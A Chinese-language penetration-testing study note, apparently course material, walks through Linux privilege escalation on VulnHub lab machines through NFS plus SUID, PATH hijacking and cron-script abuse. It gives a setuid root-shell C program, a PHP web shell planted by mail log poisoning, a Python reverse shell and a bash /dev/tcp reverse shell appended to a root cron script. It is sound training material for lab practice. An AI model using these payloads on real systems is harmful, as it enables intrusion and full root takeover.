知识点
1、Web或普通用户到Linux-服务安全配合SUID-NFS
2、普通用户到Linux-环境变量配合SUID-$PATH
3、Web或普通用户到Linux-计划任务权限不当-Cron
章节点:
1、Web权限提升及转移
2、系统权限提升及转移
3、宿主权限提升及转移
4、域控权限提升及转移
基础点
0、为什么我们要学习权限提升转移技术:
简单来说就是达到目的过程中需要用到它
1、具体有哪些权限需要我们了解掌握的:
后台权限
数据库权限
Web权限
计算机用户权限
计算机系统权限
宿主机权限
域控制器权限
2、以上常见权限获取方法简要归类说明:
后台权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
数据库权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
Web权限:RCE,反序列化,文件上传等直达或通过后台数据库间接造成
计算机用户权限:弱口令,数据泄漏等直达或通过Web,服务器及域控转移造成
计算机系统权限:系统内核漏洞,钓鱼后门攻击,主机软件安全直达或上述权限提升造成
宿主机权限:Docker不安全配置或漏洞权限提升直达(服务资产造成入口后提升)
域控制器权限:内网域计算机用户提升或自身内核漏洞,后门攻击,主机软件安全直达
3、以上常见权限获取后能操作的具体事情:
后台权限:文章管理,站点管理,模版管理,数据管理,上传管理等
数据库权限:操作数据库的权限,数据增删改查等(以数据库用户为主)
Web权限:源码查看,源码文件增删改查,磁盘文件文件夹查看(以权限配置为主)
计算机用户权限:就如同自己电脑上普通用户能操作的情况(敏感操作会被禁止)
计算机系统权限:就如同自己电脑上能操作的情况(整个系统都是你的)
宿主机权限:就如同自己电脑上能操作的情况(整个系统都是你的)
域控制器权限:就如同自己电脑上能操作的情况(整个内网域系统都是你的)
4、以上常见权限在实战中的应用场景介绍:
当我们通过弱口令进入到应用后台管理
当我们下载备份文件获取到数据库信息
当我们通过漏洞拿到资产系统的Web权限
当我们在公司被给予账号密码登录计算机或系统
当我们在公司或钓鱼后门获取到某个公司机器系统
.....................................
Linux提权
1、内核溢出提权
2、suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
3、数据库类型提权
Linux:
系统用户:UID(0-999)
普通用户:UID(1000-*)
root用户:UID为0,拥有系统的完全控制权限
综合检测脚本
https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum
一、演示案例-Linux系统提权-Web&普通用户-SUID-NFS安全
NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。
https://www.virtualbox.org/wiki/Downloads
https://www.vulnhub.com/entry/hacksudo-2-hackdudo,667/
前提条件:NFS端口服务开启和web或用户权限进行利用
1、信息收集
nmap 192.168.1.6
http://192.168.1.6/file.php?file=/etc/passwd
2、NFS服务利用
showmount -e 192.168.1.6
//用于显示NFS(网络文件系统)服务器上所有已导出的文件系统列表的命令
mkdir nfs //本地kali创建一个nfs目录
mount -t nfs 192.168.1.6:/mnt/nfs ./nfs //把目标的/mnt/nfs目录跟kali本地的nfs目录进行同步
3、配合SUID提权
find / -perm -u=s -type f 2>/dev/null //查看本地suid权限的文件
两种解决方式:1、找一个与目标版本相似的系统,上传这个系统的find 2、找一个与目标版本相似的系统,自己写一个c语言去调用命令
getroot.c
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);
system("id");
system("/bin/bash");
}
gcc getroot.c -o getroot
//把getroot.c编译为getroot可执行文件
cp getroot /root/nfs //复制bash到挂载目录下
chmod +777 getroot //赋予777权限
chmod +s getroot //赋予suid权限
find / -perm -u=s -type f 2>/dev/null //使用查看当前suid权限看看是否有/mnt/nfs/getroot文件
cd /mnt/nfs //目标机来到/mnt/nfs目录下
./getroot //目标机执行getroot文件触发shell
python -c 'import pty; pty.spawn("/bin/bash")' //python起一个交互式终端
或者直接
getroot.c
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);
system("id");
system("whoami"); //whoami就是要执行的命令
}
二、演示案例-Linux系统提权-普通用户-SUID-PATH变量
复现环境:https://www.vulnhub.com/entry/symfonos-1,322/
前提条件:存在SUID的应用中能执行额外命令加用户权限
1、信息收集
smbclient -L 192.168.139.153
2、权限获取
smbclient //192.168.139.153/anonymous
smbclient //192.168.139.153/helios -U helios
helios \ qwerty
3、漏洞利用
wpscan --url http://192.168.139.153/h3l105/ --plugins-detection aggressive
searchsploit mail masta 1.0 //利用searchsploit搜索mail漏洞或者百度关键字
http://192.168.139.153/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
telnet 192.168.139.153 25
MAIL FROM: MALABIS
RCPT TO: helios
data
<?php system($_GET['shell']); ?>
.
QUIT
http://192.168.139.153/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.128",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
4、权限提升
python -c 'import pty;pty.spawn("/bin/bash")' //python起一个交互终端
find / -perm -u=s -type f 2>/dev/null //查看当前环境suid
strings /opt/statuscheck //查看这个文件的内容,寻找有用信息
cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH
/opt/statuscheck
三、演示案例-Linux系统提权-Web&普通用户-Cron计划任务
复现环境:https://www.vulnhub.com/entry/jarbas-1,232/
前提条件:Web或用户权限进行查看,任务文件可修改
1、信息收集
http://192.168.139.152/access.html
2、权限获取
http://192.168.139.152:8080/
Jenkins创建任务,添加反弹,立即构建
3、权限提升
cat /etc/crontab //查看当前服务器的计划任务
ls -lia /etc/script/CleaningScript.sh //查看对该任务文件的权限
echo "/bin/bash -i >& /dev/tcp/192.168.139.141/66 0>&1" >> /etc/script/CleaningScript.sh //把反弹shell命令写进这个文件里
cat /etc/script/CleaningScript.sh //查看脚本内容